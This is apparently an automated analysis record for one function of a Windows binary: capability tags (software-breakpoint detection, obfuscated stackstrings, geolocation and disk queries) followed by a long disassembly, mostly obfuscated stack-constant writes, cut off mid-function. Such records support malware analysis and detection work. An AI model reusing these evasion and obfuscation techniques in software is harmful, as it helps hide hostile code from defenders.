Function at 0x140004074
Capabilities:
Authenticate hmac
Check for software breakpoints
Contain obfuscated stackstrings
Copy file
Encode data using base64
Get common file path
Get disk information
Get disk size
Get geographical location
Parse pe header
Query environment variable
Terminate process

Disassembly:
push rbp
push rdi
push rsi
push rbx
mov eax, 0x15828
call fcn.1400ca3d0
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x157d0], rcx
mov qword [rbp + 0x157d8], rdx
mov qword [rbp + 0x157e0], r8
mov dword [rbp + 0x157e8], r9d
movabs rax, 0x620f695056ab372a
mov qword [rbp + 0x15620], rax
mov word [rbp + 0x1561e], 0x5ce2
mov byte [rbp + 0x1561d], 0x75
mov byte [rbp + 0x5087], 0xab
mov dword [rbp + 0x5080], 0x1602c522
mov word [rbp + 0x507e], 0x513d
mov word [rbp + 0x5058], 0x71c
movabs rax, 0xc0f3d8f96ffac007
mov qword [rbp + 0x15610], rax
movabs rax, 0x3223bdf223b03de9
mov qword [rbp + 0x15608], rax
mov byte [rbp + 0x5019], 0x1a
mov word [rbp + 0x15606], 0x58c
mov word [rbp + 0x4fba], 0x2cf
mov dword [rbp + 0x15600], 0x60489047
mov word [rbp + 0x4f9e], 0x2d03
movabs rax, 0x254aec54b4a5fdd
mov qword [rbp + 0x155f8], rax
mov word [rbp + 0x4f76], 0x5f3d
mov byte [rbp + 0x155f7], 0x9e
movabs rax, 0x8aafcb5f3b8c7160
mov qword [rbp + 0x4f48], rax
mov byte [rbp + 0x4f23], 0x6a
mov word [rbp + 0x4f12], 0x9a7
mov byte [rbp + 0x4eef], 0x52
mov byte [rbp + 0x155f6], 8
mov word [rbp + 0x4e4e], 0x848
mov byte [rbp + 0x4e4d], 0x62
mov byte [rbp + 0x155f5], 0x56
mov dword [rbp + 0x4e48], 0x4c774c6d
mov byte [rbp + 0x4e3f], 0x3f
mov word [rbp + 0x155f2], 0x3d5f
mov word [rbp + 0x4e1e], 0xff3
mov dword [rbp + 0x4e18], 0x8b8e4337
mov byte [rbp + 0x155f1], 0x8e
mov byte [rbp + 0x4dff], 0x20
movabs rax, 0x20ad1810278f8946
mov qword [rbp + 0x4db8], rax
movabs rax, 0xd38485ee382c0e67
mov qword [rbp + 0x155e8], rax
mov word [rbp + 0x155e6], 0x1f2
mov word [rbp + 0x4c78], 0x71e
mov byte [rbp + 0x4c6b], 0xde
mov dword [rbp + 0x4c64], 0x3f9e1d4c
mov byte [rbp + 0x155e5], 0x11
mov word [rbp + 0x155e2], 0x58c
mov byte [rbp + 0x4b01], 0x7c
mov dword [rbp + 0x155dc], 0x1373fc61
mov dword [rbp + 0x155d8], 0x6b898493
mov dword [rbp + 0x4af4], 0x527f1ae0
mov byte [rbp + 0x155d7], 0x57
mov dword [rbp + 0x155d0], 0x62d99f54
movabs rax, 0x1b847441d1b55958
mov qword [rbp + 0x155c8], rax
movabs rax, 0xed5dc513da678fe
mov qword [rbp + 0x4ab8], rax
movabs rax, 0xffa4b1660ecb790
mov qword [rbp + 0x4ab0], rax
mov dword [rbp + 0x4a98], 0x5f54066a
mov word [rbp + 0x155c6], 0xfe7
mov dword [rbp + 0x155c0], 0x6d0a311e
mov word [rbp + 0x48ec], 0x286
movabs rax, 0xc0600537c852973e
mov qword [rbp + 0x48e0], rax
mov word [rbp + 0x15786], 0x2a2
movabs rax, 0x7f5f347ff9a5c953
mov qword [rbp + 0x155b8], rax
mov byte [rbp + 0x483c], 0x7e
mov dword [rbp + 0x155b4], 0x23670f15
mov dword [rbp + 0x481c], 0xffdbe203
mov word [rbp + 0x155b2], 0x776
mov dword [rbp + 0x47e8], 0x7b4b0e9d
movabs rax, 0x7e8aaddf6e9468f5
mov qword [rbp + 0x155a8], rax
mov dword [rbp + 0x155a4], 0x19fda137
movabs rax, 0x11cd6c90cb0873be
mov qword [rbp + 0x15598], rax
movabs rax, 0xcf06d8a501356069
mov qword [rbp + 0x15590], rax
movabs rax, 0x2f8ee7230965018a
mov qword [rbp + 0x4700], rax
mov word [rbp + 0x46d4], 0xdf2
mov byte [rbp + 0x4683], 0x3a
mov byte [rbp + 0x462f], 0x8c
mov dword [rbp + 0x4618], 0x7345211a
movabs rax, 0x30f08a30892ed9ed
mov qword [rbp + 0x15588], rax
mov word [rbp + 0x454e], 0x9b
mov byte [rbp + 0x15587], 0xbf
mov byte [rbp + 0x15586], 0x25
movabs rax, 0x754c5f9d51ab5262
mov qword [rbp + 0x44c8], rax
mov word [rbp + 0x4466], 0x2af1
movabs rax, 0x33bbee7f7ee5003e
mov qword [rbp + 0x15578], rax
movabs rax, 0x6ff69411a325c93f
mov qword [rbp + 0x4448], rax
mov dword [rbp + 0x4444], 0xcb1fd1ba
mov word [rbp + 0x443e], 0x3a5
mov word [rbp + 0x15576], 0x3a29
mov dword [rbp + 0x4400], 0x68aaf829
movabs rax, 0x7707d17c9c28b90c
mov qword [rbp + 0x15568], rax
mov dword [rbp + 0x43c0], 0x9ee3fe7
mov dword [rbp + 0x43b8], 0x31ffa791
mov byte [rbp + 0x15567], 0x2a
mov word [rbp + 0x15564], 0x315
movabs rax, 0x64bd70ffc3c19219
mov qword [rbp + 0x4330], rax
movabs rax, 0x5c8316b1a5c7f452
mov qword [rbp + 0x4320], rax
mov dword [rbp + 0x4304], 0xd17decbd
mov dword [rbp + 0x15560], 0x4434a354
movabs rax, 0x5515ace0cb40c634
mov qword [rbp + 0x42b0], rax
mov byte [rbp + 0x42ad], 0x69
mov dword [rbp + 0x42a0], 0x63e110cb
movabs rax, 0x7e721f62054275e9
mov qword [rbp + 0x4290], rax
mov word [rbp + 0x1555e], 0x314
mov word [rbp + 0x1555c], 0x3d56
movabs rax, 0xe15fecc7afc5e042
mov qword [rbp + 0x4248], rax
movabs rax, 0x4ea257b709cc278e
mov qword [rbp + 0x15550], rax
mov byte [rbp + 0x4214], 0x63
mov word [rbp + 0x4210], 0x1d49
mov dword [rbp + 0x41fc], 0x5afe1c8
movabs rax, 0x5c11fddeafca2f2c
mov qword [rbp + 0x41f0], rax
movabs rax, 0x6ac11101782a2fb0
mov qword [rbp + 0x15548], rax
mov byte [rbp + 0x41e4], 0x1f
mov byte [rbp + 0x15547], 0x2a
mov dword [rbp + 0x15540], 0x60a311a9
mov dword [rbp + 0x1553c], 0x3c378f60
mov byte [rbp + 0x41cf], 0x77
mov dword [rbp + 0x416c], 0x3e8f7be5
movabs rax, 0x2b32bd5b37366ff6
mov qword [rbp + 0x15530], rax
mov byte [rbp + 0x415f], 0x47
mov dword [rbp + 0x1552c], 0xe2a1dad7
movabs rax, 0x3ee1bb007450eba4
mov qword [rbp + 0x4140], rax
movabs rax, 0x14d9415539d511a9
mov qword [rbp + 0x4130], rax
movabs rax, 0x77e71d3f4a625c0f
mov qword [rbp + 0x4108], rax
mov byte [rbp + 0x4103], 0xb1
mov byte [rbp + 0x1552b], 0x62
movabs rax, 0x37d4da9dbc1e0f64
mov qword [rbp + 0x40f8], rax
movabs rax, 0x1a561a25caec9465
mov qword [rbp + 0x15520], rax
mov word [rbp + 0x1551e], 0x17d2
mov dword [rbp + 0x15518], 0x6823ae35
mov dword [rbp + 0x3eac], 0x3005609d
mov dword [rbp + 0x3ea4], 0xd012f456
mov byte [rbp + 0x3e9f], 0xd3
mov word [rbp + 0x3e8a], 0x42c1
mov dword [rbp + 0x3e78], 0x12148cb9
movabs rax, 0x4d404df43b3dd6fc
mov qword [rbp + 0x3e60], rax
movabs rax, 0x2d39ca8add589a57
mov qword [rbp + 0x3e48], rax
movabs rax, 0x24f71e63ea6758c0
mov qword [rbp + 0x3e30], rax
movabs rax, 0xe242a803fd0f6ddb
mov qword [rbp + 0x3e20], rax
mov byte [rbp + 0x15517], 0xe8
mov word [rbp + 0x15514], 0xf5
movabs rax, 0x630bb79aa73d5caa
mov qword [rbp + 0x15508], rax
movabs rax, 0xf85afd974c2a4548
mov qword [rbp + 0x3dd0], rax
mov dword [rbp + 0x3dcc], 0x744cf2c6
mov dword [rbp + 0x3d9c], 0xae6dc946
mov dword [rbp + 0x3d98], 0x54931181
mov word [rbp + 0x15506], 0x503
mov dword [rbp + 0x3d28], 0xcfc8097f
mov dword [rbp + 0x15500], 0xdb0b212a
mov word [rbp + 0x154fe], 0x274e
mov byte [rbp + 0x154fd], 0x7b
movabs rax, 0x75ff2750a1822ae
mov qword [rbp + 0x154f0], rax
movabs rax, 0x788dc4c6254f91a
mov qword [rbp + 0x3cc0], rax
mov dword [rbp + 0x3c98], 0xb18123a3
mov dword [rbp + 0x3c90], 0x577ecdb3
mov byte [rbp + 0x3c5f], 4
movabs rax, 0x29f8ecd1fa982784
mov qword [rbp + 0x3c20], rax
mov dword [rbp + 0x3c10], 0x5ee50da0
movabs rax, 0x690d7bae2e067f9d
mov qword [rbp + 0x154e8], rax
movabs rax, 0xbb2257333f22ead3
mov qword [rbp + 0x154e0], rax
mov dword [rbp + 0x3ab4], 0x3bbed65f
mov byte [rbp + 0x154df], 0xe9
movabs rax, 0x35f450b1636057f3
mov qword [rbp + 0x154d0], rax
mov word [rbp + 0x3a5c], 0x5b9d
mov word [rbp + 0x398e], 0x6a56
mov dword [rbp + 0x3988], 0x477c6fb2
mov word [rbp + 0x396c], 0x12b8
mov byte [rbp + 0x154cf], 0xa
mov dword [rbp + 0x154c8], 0x8bf73286
mov dword [rbp + 0x394c], 0x6ea19e54
mov byte [rbp + 0x154c7], 0x30
movabs rax, 0xc8d0287aabfd3771
mov qword [rbp + 0x154b8], rax
mov word [rbp + 0x154b6], 0xaf4
mov byte [rbp + 0x154b5], 0x50
mov byte [rbp + 0x154b4], 1
movabs rax, 0x131e6e977b596b25
mov qword [rbp + 0x154a8], rax
movabs rax, 0xf1098445eaf0bd66
mov qword [rbp + 0x154a0], rax
mov byte [rbp + 0x366f], 0x35
mov dword [rbp + 0x3654], 0x1f187c13
mov dword [rbp + 0x1549c], 0x299ad78
movabs rax, 0x6b67802281ecb5a8
mov qword [rbp + 0x15490], rax
mov dword [rbp + 0x1548c], 0xe51e6c41
mov word [rbp + 0x35f6], 0x6c7
mov byte [rbp + 0x35f5], 0x25
mov byte [rbp + 0x359b], 0x7e
movabs rax, 0x395a0577d11c48b2
mov qword [rbp + 0x15480], rax
mov byte [rbp + 0x3586], 0x24
movabs rax, 0xd5bef2bd3cbe63ea
mov qword [rbp + 0x15478], rax
mov byte [rbp + 0x3565], 0x71
mov dword [rbp + 0x15474], 0xe30e2aee
mov byte [rbp + 0x3557], 0x4e
mov dword [rbp + 0x15470], 0x66b51745
mov dword [rbp + 0x3548], 0x4fd83550
mov dword [rbp + 0x3528], 0x784cac57
mov dword [rbp + 0x1546c], 0x92cb9438
mov byte [rbp + 0x1546b], 0xb1
mov byte [rbp + 0x3517], 0x7d
movabs rax, 0x796d2e86e70ed86c
mov qword [rbp + 0x34e0], rax
mov dword [rbp + 0x15464], 0x3485887c
movabs rax, 0x2c3a4a7cf798dec9
mov qword [rbp + 0x3490], rax
mov dword [rbp + 0x3454], 0x6630d7b1
mov dword [rbp + 0x342c], 0x2035c6d1
mov word [rbp + 0x3416], 0x47a2
movabs rax, 0x9b501b07cb2499a8
mov qword [rbp + 0x15458], rax
mov byte [rbp + 0x33db], 0x76
mov dword [rbp + 0x33cc], 0x39399d09
mov byte [rbp + 0x3385], 0x64
movabs rax, 0xc3b90a0bf58b961
mov qword [rbp + 0x15450], rax
mov byte [rbp + 0x3366], 0x7c
mov word [rbp + 0x3364], 0x6263
mov word [rbp + 0x332e], 0x5035
movabs rax, 0x1fe0d6811f452831
mov qword [rbp + 0x3318], rax
mov word [rbp + 0x1544e], 0x7fcb
movabs rax, 0x43cfa798868b4ceb
mov qword [rbp + 0x15440], rax
mov word [rbp + 0x1543e], 0x10e
mov word [rbp + 0x31cc], 0x640
movabs rax, 0x196a018f39d4711e
mov qword [rbp + 0x31a0], rax
mov word [rbp + 0x1543c], 0x10b4
mov byte [rbp + 0x318f], 0x60
mov dword [rbp + 0x15438], 0xdbb64d4e
movabs rax, 0x54e8d2fa894e03e5
mov qword [rbp + 0x15430], rax
mov word [rbp + 0x3092], 0xcd2
mov word [rbp + 0x1542e], 0xf91
mov byte [rbp + 0x1542d], 0xcc
mov word [rbp + 0x3066], 0x7a8
mov word [rbp + 0x3056], 0x79ce
mov byte [rbp + 0x1542c], 0x45
mov word [rbp + 0x3054], 0x58b9
mov byte [rbp + 0x3051], 0x1e
mov byte [rbp + 0x1542b], 0x4e
mov word [rbp + 0x15428], 0xcaf
mov dword [rbp + 0x3010], 0xf419783f
mov word [rbp + 0x2faa], 0x7ea
mov byte [rbp + 0x15427], 0xd3
mov byte [rbp + 0x2f73], 0x23
movabs rax, 0x1575792f9c0930a1
mov qword [rbp + 0x2f68], rax
mov byte [rbp + 0x2f39], 0xab
mov byte [rbp + 0x15426], 0x5e
movabs rax, 0x6f478c3c47d1670f
mov qword [rbp + 0x2f20], rax
movabs rax, 0x405d86704a1d165b
mov qword [rbp + 0x15418], rax
mov dword [rbp + 0x2efc], 0x374dc8f8
mov dword [rbp + 0x15414], 0x6dd3b33b
movabs rax, 0x23079e5ce99105b5
mov qword [rbp + 0x15408], rax
movabs rax, 0x23e1e6f1813ac12f
mov qword [rbp + 0x2e90], rax
mov byte [rbp + 0x2e86], 0x17
mov word [rbp + 0x2d7e], 0x7807
mov word [rbp + 0x2d3e], 0x1bd
mov byte [rbp + 0x2d22], 0x1a
movabs rax, 0x4ea3ed1f8f29a5ae
mov qword [rbp + 0x15400], rax
mov dword [rbp + 0x2cf4], 0x727c9347
mov byte [rbp + 0x2cb3], 0x92
mov byte [rbp + 0x2ca5], 0x35
movabs rax, 0x527dfe4751cd1a36
mov qword [rbp + 0x2c98], rax
mov byte [rbp + 0x2c3d], 0xc8
mov word [rbp + 0x2c1c], 0xd95
mov dword [rbp + 0x2c10], 0x23951110
mov dword [rbp + 0x153fc], 0xd7c3e722
mov byte [rbp + 0x2bf0], 0x4b
mov dword [rbp + 0x2bd4], 0x5e417687
movabs rax, 0x55bf0b10eb0417c0
mov qword [rbp + 0x2bb8], rax
mov byte [rbp + 0x2ba2], 0xba
mov byte [rbp + 0x2b7b], 0x52
movabs rax, 0x37cd5ad86ef562d6
mov qword [rbp + 0x2b68], rax
mov byte [rbp + 0x2b63], 0x44
mov byte [rbp + 0x153fb], 0x58
mov dword [rbp + 0x153f4], 0x962f77d0
mov dword [rbp + 0x2ae4], 0x5015422c
mov byte [rbp + 0x153f3], 0x71
mov dword [rbp + 0x2adc], 0x34890f79
mov byte [rbp + 0x153f2], 0x1c
mov byte [rbp + 0x2a3d], 0x67
movabs rax, 0x3bd9d9bb7f1dd94b
mov qword [rbp + 0x153e8], rax
movabs rax, 0x321323f19cec2a44
mov qword [rbp + 0x2a08], rax
movabs rax, 0x4fbe0eeca6ca049c
mov qword [rbp + 0x29d8], rax
movabs rax, 0x545190b192efe6c4
mov qword [rbp + 0x153e0], rax
mov dword [rbp + 0x153dc], 0x2a8425c3
mov dword [rbp + 0x153d8], 0x991d711b
mov word [rbp + 0x153d6], 0x932
movabs rax, 0x6a3b1b4196b08d52
mov qword [rbp + 0x153c8], rax
mov byte [rbp + 0x153c7], 0x7b
movabs rax, 0x4a91d3a5bd039dae
mov qword [rbp + 0x153b8], rax
movabs rax, 0x65d3818cf16dda01
mov qword [rbp + 0x28d8], rax
movabs rax, 0xfde140dc55e7afeb
mov qword [rbp + 0x153b0], rax
mov byte [rbp + 0x28c7], 0x1b
movabs rax, 0x7f8c18af787a213e
mov qword [rbp + 0x28a8], rax
mov word [rbp + 0x153ae], 0x1b21
mov dword [rbp + 0x153a8], 0x12e5ac2a
mov byte [rbp + 0x2872], 0x27
mov dword [rbp + 0x153a4], 0xb042551d
movabs rax, 0xa85da78d12bad13b
mov qword [rbp + 0x15398], rax
movabs rax, 0x189357bc1cf43aab
mov qword [rbp + 0x2800], rax
movabs rax, 0x52cccd828a8b794
mov qword [rbp + 0x15390], rax
mov byte [rbp + 0x1538f], 0x40
movabs rax, 0x41ee73b0c904a56d
mov qword [rbp + 0x2790], rax
movabs rax, 0x7ad02bbcfcd6f322
mov qword [rbp + 0x2770], rax
movabs rax, 0x54e9b2272b1391a1
mov qword [rbp + 0x2758], rax
movabs rax, 0x3020c3407d7a4435
mov qword [rbp + 0x15380], rax
movabs rax, 0x662d876b0c4afe45
mov qword [rbp + 0x15378], rax
mov byte [rbp + 0x15377], 0xe4
mov dword [rbp + 0x15370], 0x27ed5812
mov byte [rbp + 0x1536f], 0x4e
movabs rax, 0xc5f23b48ce99ad04
mov qword [rbp + 0x15360], rax
lea rax, [rbp + 0x2690]
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
call fcn.1400ca830
mov word [rbp + 0x1535e], 0xbef
movabs rax, 0x5897a31908a04e82
mov qword [rbp + 0x15350], rax
mov word [rbp + 0x262c], 0x2d20
movabs rax, 0x51496325eaa2bf60
mov qword [rbp + 0x2620], rax
mov word [rbp + 0x260c], 0x157e
movabs rax, 0x31fe85df3ebd6e84
mov qword [rbp + 0x25f8], rax
movabs rax, 0x551c47fc2e905b22
mov qword [rbp + 0x25e0], rax
movabs rax, 0x8c82e28af77506c4
mov qword [rbp + 0x25d0], rax
mov dword [rbp + 0x1534c], 0xe6846085
mov dword [rbp + 0x15348], 0x2dc57ecb
mov dword [rbp + 0x2560], 0x434f54b9
movabs rax, 0xc3c8e66e96b8f2b
mov qword [rbp + 0x2558], rax
movabs rax, 0x35df1372141d6409
mov qword [rbp + 0x15340], rax
mov byte [rbp + 0x1533f], 0x3c
movabs rax, 0x5013b5752f57db92
mov qword [rbp + 0x2520], rax
mov byte [rbp + 0x1533e], 0x5e
mov byte [rbp + 0x1533d], 0xa7
movabs rax, 0x2ff0665bafc89900
mov qword [rbp + 0x15330], rax
mov byte [rbp + 0x24df], 0x14
mov byte [rbp + 0x1532f], 0x36
movabs rax, 0x1cbeb1f52d3a7859
mov qword [rbp + 0x24d0], rax
mov word [rbp + 0x1532c], 0xe9f
movabs rax, 0x127006d73fc09ccb
mov qword [rbp + 0x2478], rax
movabs rax, 0x983664a3cb0e2179
mov qword [rbp + 0x2458], rax
mov word [rbp + 0x243a], 0x7b3e
mov word [rbp + 0x2432], 0x110
mov byte [rbp + 0x1532b], 0x77
movabs rax, 0x52e7e597a10824b1
mov qword [rbp + 0x2420], rax
mov byte [rbp + 0x241f], 0x3c
mov word [rbp + 0x15328], 0x8b1
movabs rax, 0x97dfd69a1517da47
mov qword [rbp + 0x23b0], rax
mov dword [rbp + 0x2390], 0x2ce7ea25
mov word [rbp + 0x15326], 0x6b51
mov dword [rbp + 0x15320], 0x5e21d763
mov word [rbp + 0x1531e], 0x4ac9
mov word [rbp + 0x232a], 0x4e69
movabs rax, 0xa3a498e251f9a946
mov qword [rbp + 0x15310], rax
mov word [rbp + 0x1530e], 0xe65
mov dword [rbp + 0x2300], 0x39840180
movabs rax, 0x34759ca7ddac2eb5
mov qword [rbp + 0x22f8], rax
mov dword [rbp + 0x2220], 0x1f2e01af
mov dword [rbp + 0x15308], 0x75cc5f19
mov byte [rbp + 0x221b], 0x4d
mov byte [rbp + 0x20db], 0x1d
mov byte [rbp + 0x15307], 0x16
mov dword [rbp + 0x15300], 0xee7127b4
mov byte [rbp + 0x152ff], 0x11
mov word [rbp + 0x152fc], 0x483e
movabs rax, 0x329a362baeb160ec
mov qword [rbp + 0x152f0], rax
movabs rax, 0x6705105435e45f4f
mov qword [rbp + 0x2068], rax
mov dword [rbp + 0x152ec], 0x314b3f0b
movabs rax, 0x6e7e8dea400a0e90
mov qword [rbp + 0x2050], rax
movabs rax, 0x7f63d06355924054
mov qword [rbp + 0x2040], rax
mov byte [rbp + 0x2037], 0x19
mov dword [rbp + 0x2030], 0x16eb982
mov word [rbp + 0x189c], 0x191c
movabs rax, 0x88ddd2616abb738e
mov qword [rbp + 0x152e0], rax
mov dword [rbp + 0x1880], 0xb1ee56a5
mov byte [rbp + 0x17f6], 0xd4
mov byte [rbp + 0x17df], 0xa9
mov byte [rbp + 0x1767], 0x64
mov byte [rbp + 0x1761], 0x24
mov byte [rbp + 0x152df], 0x36
movabs rax, 0x46659be327f5a674
mov qword [rbp + 0x1730], rax
mov word [rbp + 0x16ea], 0xd27
mov dword [rbp + 0x16e0], 0xf3581b34
mov word [rbp + 0x152dc], 0x94
mov word [rbp + 0x152da], 0xe6f
mov dword [rbp + 0x152d4], 0x8b2edd91
mov word [rbp + 0x152d2], 0x43f
mov dword [rbp + 0x1688], 0x60990f86
mov word [rbp + 0x1684], 0x6a9
movabs rax, 0xf0a39cadda7805c
mov qword [rbp + 0x1668], rax
mov byte [rbp + 0x152d1], 0x41
mov dword [rbp + 0x152cc], 0x9d48d5d8
mov dword [rbp + 0x163c], 0x7f32b35b
mov dword [rbp + 0x152c8], 0x1d543ef4
mov dword [rbp + 0x1634], 0x19dd22b0
movabs rax, 0x2010a53a346a5fa5
mov qword [rbp + 0x152c0], rax
mov byte [rbp + 0x160e], 0x48
mov word [rbp + 0x152be], 0xaad
mov dword [rbp + 0x152b8], 0x63800de7
mov word [rbp + 0x15ae], 0x5ee2
mov dword [rbp + 0x152b4], 0x70225b80
mov word [rbp + 0x157e], 0x722b
mov dword [rbp + 0x152b0], 0x79e5d770
mov byte [rbp + 0x152af], 0xd3
mov word [rbp + 0x151a], 0x1be
mov dword [rbp + 0x152a8], 0x367493aa
movabs rax, 0x11da8f6259394815
mov qword [rbp + 0x152a0], rax
mov byte [rbp + 0x1529f], 0xb1
mov byte [rbp + 0x1505], 0x73
mov byte [rbp + 0x1504], 0x6b
mov dword [rbp + 0x15298], 0xe121db13
movabs rax, 0x153345247e36da9a
mov qword [rbp + 0x15290], rax
mov byte [rbp + 0x1528f], 0x75
movabs rax, 0xcba197f9266e0936
mov qword [rbp + 0x15280], rax
movabs rax, 0x3bab474d79f4a9cd
mov qword [rbp + 0x15278], rax
mov byte [rbp + 0x15277], 0x4c
movabs rax, 0x75afd952ba6f9376
mov qword [rbp + 0x15268], rax
mov word [rbp + 0x1376], 0x969
mov word [rbp + 0x15266], 0x5ca
mov word [rbp + 0x130a], 0x910
mov word [rbp + 0x12ea], 0x41bf
mov dword [rbp + 0x1298], 0xa357cc7b
mov byte [rbp + 0x1286], 0x1b
movabs rax, 0x326e5f24f90d8ee3
mov qword [rbp + 0x15258], rax
mov word [rbp + 0x122e], 0x1be3
movabs rax, 0x499f204748f85026
mov qword [rbp + 0x15250], rax
mov word [rbp + 0x116a], 0xf9d
mov word [rbp + 0x1524e], 0x920
mov word [rbp + 0x1524c], 0xe2f
mov word [rbp + 0x1524a], 0x6ef9
movabs rax, 0x494277b4b342c410
mov qword [rbp + 0x15240], rax
movabs rax, 0x74eeb5a5977aa19
mov qword [rbp + 0x1008], rax
mov byte [rbp + 0xfdb], 0x5d
mov word [rbp + 0x1523e], 0x437e
mov word [rbp + 0xfac], 0x3b88
mov byte [rbp + 0x1523d], 0xef
mov byte [rbp + 0xfa5], 0x34
mov byte [rbp + 0xfa1], 0x5a
mov byte [rbp + 0x1523c], 3
mov word [rbp + 0x1523a], 0x6573
movabs rax, 0x6a81f1bc8e835ad5
mov qword [rbp + 0x15230], rax
movabs rax, 0x236fe40bf39092b9
mov qword [rbp + 0xf50], rax
mov dword [rbp + 0x1522c], 0xc10f9b71
mov byte [rbp + 0x1522b], 0x47
mov byte [rbp + 0xee7], 0x22
movabs rax, 0x66e1bacd045bb0ba
mov qword [rbp + 0xed8], rax
mov word [rbp + 0xec2], 0x8e9
mov dword [rbp + 0x15224], 0xba1f5baa
mov byte [rbp + 0xe97], 0x9c
movabs rax, 0x3ff15cb55bf568b5
mov qword [rbp + 0xe70], rax
mov word [rbp + 0xe58], 0xca0
mov dword [rbp + 0x15220], 0x96c14798
mov byte [rbp + 0xe17], 0x7d
mov dword [rbp + 0x1521c], 0x3ac14efc
movabs rax, 0xb938ae1769a39a22
mov qword [rbp + 0x15210], rax
mov word [rbp + 0xdb0], 0x4892
mov word [rbp + 0x1520e], 0xc38
mov dword [rbp + 0xd54], 0x50528dd
mov dword [rbp + 0xd48], 0x64a7326
mov byte [rbp + 0x1520d], 0x10
mov byte [rbp + 0x1520c], 0x14
mov byte [rbp + 0xcfb], 0x7c
mov byte [rbp + 0xce5], 0x5f
mov dword [rbp + 0xcd0], 0xb92bfd6a
mov dword [rbp + 0xcc4], 0x5160ee23
mov dword [rbp + 0xaf8], 0xf4d4d73
mov byte [rbp + 0xaef], 0x58
mov dword [rbp + 0xae8], 0x77e446aa
mov word [rbp + 0x1520a], 0xf8a
mov word [rbp + 0xaa6], 0x11b
mov dword [rbp + 0x15204], 0x8b8cfb9c
mov word [rbp + 0xa98], 0x2df8
mov byte [rbp + 0xa7e], 0x21
movabs rax, 0x6ee33a74703594a6
mov qword [rbp + 0x151f8], rax
mov dword [rbp + 0x151f4], 0x3c3a5853
mov word [rbp + 0x151f2], 0x31fb
mov dword [rbp + 0x151ec], 0x4fe7aa9c
mov dword [rbp + 0x151e8], 0x146414b9
mov word [rbp + 0x93c], 0x7b7
mov word [rbp + 0x936], 0x5b3c
mov byte [rbp + 0x151e7], 0x4e
movabs rax, 0x2522389ce4d62933
mov qword [rbp + 0x918], rax
mov dword [rbp + 0x8dc], 0x152ee903
movabs rax, 0x646a577957d6e30f
mov qword [rbp + 0x8d0], rax
mov byte [rbp + 0x8bf], 0x68
mov dword [rbp + 0x8b8], 0x3891d001
mov dword [rbp + 0x151e0], 0x8abeb324
mov byte [rbp + 0x151df], 0x54
mov byte [rbp + 0x151de], 0xd9
mov byte [rbp + 0x82d], 0x5c
mov word [rbp + 0x7fc], 0x1b98
movabs rax, 0x292c5f0706427c0
mov qword [rbp + 0x7e0], rax
movabs rax, 0x1599ce27e9a38d86
mov qword [rbp + 0x7c0], rax
movabs rax, 0x3b67e585c4db2469
mov qword [rbp + 0x798], rax
mov dword [rbp + 0x744], 0x34e1bddd
mov word [rbp + 0x71e], 0xc8e
mov byte [rbp + 0x717], 0xb9
mov word [rbp + 0x6ee], 0x1af6
mov byte [rbp + 0x6b7], 0x65
movabs rax, 0x409710c8afa61450
mov qword [rbp + 0x658], rax
mov word [rbp + 0x151dc], 0x52
mov word [rbp + 0x151da], 0x4505
movabs rax, 0x195dc1d7ec0b9ca5
mov qword [rbp + 0x151d0], rax
mov byte [rbp + 0x151cf], 7
mov word [rbp + 0x5de], 0x685a
mov word [rbp + 0x5dc], 0xb54
mov dword [rbp + 0x5d8], 0x8ab9dcc2
movabs rax, 0x2875b1b63e622875
mov qword [rbp + 0x151c0], rax
mov word [rbp + 0x5ae], 0x31bb
mov dword [rbp + 0x151bc], 0x523be876
mov dword [rbp + 0x5a8], 0x58a13386
movabs rax, 0x9e21d0c1293d272a
mov qword [rbp + 0x151b0], rax
mov dword [rbp + 0x151ac], 0x4e2a364a
mov byte [rbp + 0x56b], 0x74
mov word [rbp + 0x566], 0x1819
mov byte [rbp + 0x151ab], 0x17
mov word [rbp + 0x151a8], 0x5cad
mov dword [rbp + 0x500], 0x9c47d682
mov word [rbp + 0x151a6], 0x89e
mov word [rbp + 0x4ca], 0xf82
mov byte [rbp + 0x151a5], 0xf5
mov word [rbp + 0x4a4], 0x74ea
mov word [rbp + 0x49e], 0x51a3
mov word [rbp + 0x151a2], 0x2203
mov dword [rbp + 0x448], 0x655efe3d
mov dword [rbp + 0x40c], 0x231e62c3
movabs rax, 0xeccf85d866f94816
mov qword [rbp + 0x400], rax
mov dword [rbp + 0x1519c], 0x53c83333
mov byte [rbp + 0x3e6], 0xb7
mov byte [rbp + 0x3e5], 0x77
mov byte [rbp + 0x1519b], 0x79
mov byte [rbp + 0x1519a], 0x61
lea rax, [rbp + 0x3c0]
mov rcx, rax
call fcn.1400ca880
mov word [rbp + 0x3be], 0xd87
mov dword [rbp + 0x15194], 0x52b372c2
mov dword [rbp + 0x37c], 0x836bc5a
mov word [rbp + 0x362], 0xdec
movabs rax, 0x29e81986bc0370db
mov qword [rbp + 0x15188], rax
mov byte [rbp + 0x33f], 0x27
mov word [rbp + 0x32c], 0x6433
mov word [rbp + 0x32a], 0x7422
mov dword [rbp + 0x324], 0x24bbc63f
mov dword [rbp + 0x2a0], 0x1c6f3aee
mov word [rbp + 0x29e], 0xfa8
mov byte [rbp + 0x28f], 0x3c
mov word [rbp + 0x286], 0x3b0
mov dword [rbp + 0x280], 0xfa0f670f
movabs rax, 0xdce48e4d333212a7
mov qword [rbp + 0x260], rax
mov byte [rbp + 0x253], 0x24
mov dword [rbp + 0x238], 0x2d72a775
movabs rax, 0x6d48ab77b2112728
mov qword [rbp + 0x220], rax
movabs rax, 0x83a58356a9881a92
mov qword [rbp + 0x15180], rax
mov word [rbp + 0x1ac], 0x6ab9
mov dword [rbp + 0x1517c], 0xe758b0dd
mov byte [rbp + 0x13f], 0x62
mov word [rbp + 0x1517a], 0x5e9
mov dword [rbp + 0x128], 0xa96f86f2
mov dword [rbp + 0x15174], 0xe4cb5387
movabs rax, 0x24cfcceaff070d9c
mov qword [rbp + 0xc0], rax
movabs rax, 0x533b920dac38202e
mov qword [rbp + 0x90], rax
mov word [rbp + 0x7e], 0x3a90
mov dword [rbp + 0x60], 0xe78604b0
movabs rax, 0x1148a3192cf800f2
mov qword [rbp + 0x40], rax
mov dword [rbp + 0x15170], 0x390374fd
mov dword [rbp + 0x14], 0x2910ff36
mov byte [rbp + 0x221a], 0xd4
mov dword [rbp + 0x156bc], 0xfdb0
movzx eax, word [rbp + 0x5dc]
add ax, 0x375
mov word [rbp + 0x5dc], ax
mov eax, dword [0x1400dd310]
sub eax, 0x60a14b38
mov dword [0x1400dd310], eax
movzx eax, word [rbp + 0x5dc]
